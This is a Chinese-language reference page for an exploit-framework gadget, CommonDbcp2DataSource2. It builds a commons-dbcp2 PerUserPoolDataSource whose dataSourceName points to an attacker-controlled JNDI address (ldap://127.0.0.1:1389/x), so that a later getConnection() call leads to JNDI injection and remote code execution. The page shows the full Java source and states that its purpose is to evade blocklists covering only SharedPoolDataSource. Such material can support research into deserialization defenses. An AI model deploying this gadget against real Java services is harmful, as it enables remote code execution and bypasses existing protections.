Skip to content

Latest commit

 

History

History
66 lines (55 loc) · 4.25 KB

File metadata and controls

66 lines (55 loc) · 4.25 KB

CommonDbcp2DataSource2 JNDI(CommonDbcp2DataSource2)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖:注解声明为 org.apache.commons:common-dbcp,但源码 import 的是 org.apache.commons.dbcp2.datasources.PerUserPoolDataSource(即 dbcp2)。以实际引用为准:需要 commons-dbcp2

作用

构造 commons-dbcp2 的 PerUserPoolDataSource,把 dataSourceName 设为攻击者可控的 JNDI 地址;当上层触发链调用 getConnection() 时,DBCP 用 dataSourceName 做 JNDI 查找,落地为 JNDI 注入 → RCE。是 CommonDbcp2DataSource 的姊妹实现,唯一差别是换用 PerUserPoolDataSource 作为 DataSource 实现类(便于绕过只针对 SharedPoolDataSource 的黑名单)。链尾 sink(END)。

链接标签

  • 入口 tags
    • DataSourceChains —— 归属「DataSource 触发」族。
    • SpecialPublicMethod —— 靠特定公共方法 getConnection 被触发。
    • Getter —— 也可被「getter 触发」型上游命中(connectiongetConnection)。
    • END —— 链终点。
  • 衔接 nextTags:无(END)。
  • excludes:无。

源码剖析

@GadgetTags(tags={"DataSourceChains", "SpecialPublicMethod", "Getter", "END"})
public class CommonDbcp2DataSource2 implements Gadget {
    private final String getterMethodName   = "getConnection";
    private final String getterPropertyName = "connection";
    @Param(name="Jndi地址")
    public String jndiUrl = "ldap://127.0.0.1:1389/x";

    public Object getObject() {
        PerUserPoolDataSource dataSource = new PerUserPoolDataSource();
        dataSource.setDataSourceName(this.jndiUrl);   // dataSourceName = 恶意 JNDI 地址
        return dataSource;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        context.put(ContextTag.SUPER_CLASS_NAME_KEY,   DataSource.class);
        context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
        context.put(ContextTag.GETTER_PARAM_NAME_KEY,  "connection");
        return this.getObject();
    }
}

PerUserPoolDataSourceSharedPoolDataSource 同为 InstanceKeyDataSource 的子类,getConnection() 同样经由 dataSourceNameInitialContext.lookup。因此本环的利用原理与 CommonDbcp2DataSource 完全一致:getObjectnew 出对象并 setDataSourceName(jndiUrl)invokeGadgetContext 写入触发契约(父类型 DataSource、特定方法 getConnection、getter 属性 connection),把「如何激活本对象」告知上游。

依赖标注瑕疵:本类 @GadgetAnnotation.dependencies 写的是 org.apache.commons:common-dbcp,而 importnew 的都是 dbcp2 的 PerUserPoolDataSource。实际部署需 commons-dbcp2,注解标注属笔误,使用时以源码引用为准。

参数(@Param)

字段 名称 说明 默认 可选值
jndiUrl Jndi地址 写入 dataSourceNamegetConnection 时被 JNDI lookup 解析 ldap://127.0.0.1:1389/x 任意 ldap:///rmi:// 恶意地址

适用版本与原理要点

  • 需要 commons-dbcp2(提供 org.apache.commons.dbcp2.datasources.PerUserPoolDataSource)。
  • 选用 PerUserPoolDataSource 而非 SharedPoolDataSource,主要价值在于换类绕过:当防护只拦截 SharedPoolDataSource 时改用本类,JNDI 触发路径不变。
  • 触发点 getConnection()InitialContext.lookup(dataSourceName),利用成败取决于 JNDI 注入本身(受高版本 JDK 的 codebase 信任限制约束)。
  • 本环只产出对象;真正的 getConnection() 调用由上游 getter/特定方法触发器完成。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。

关联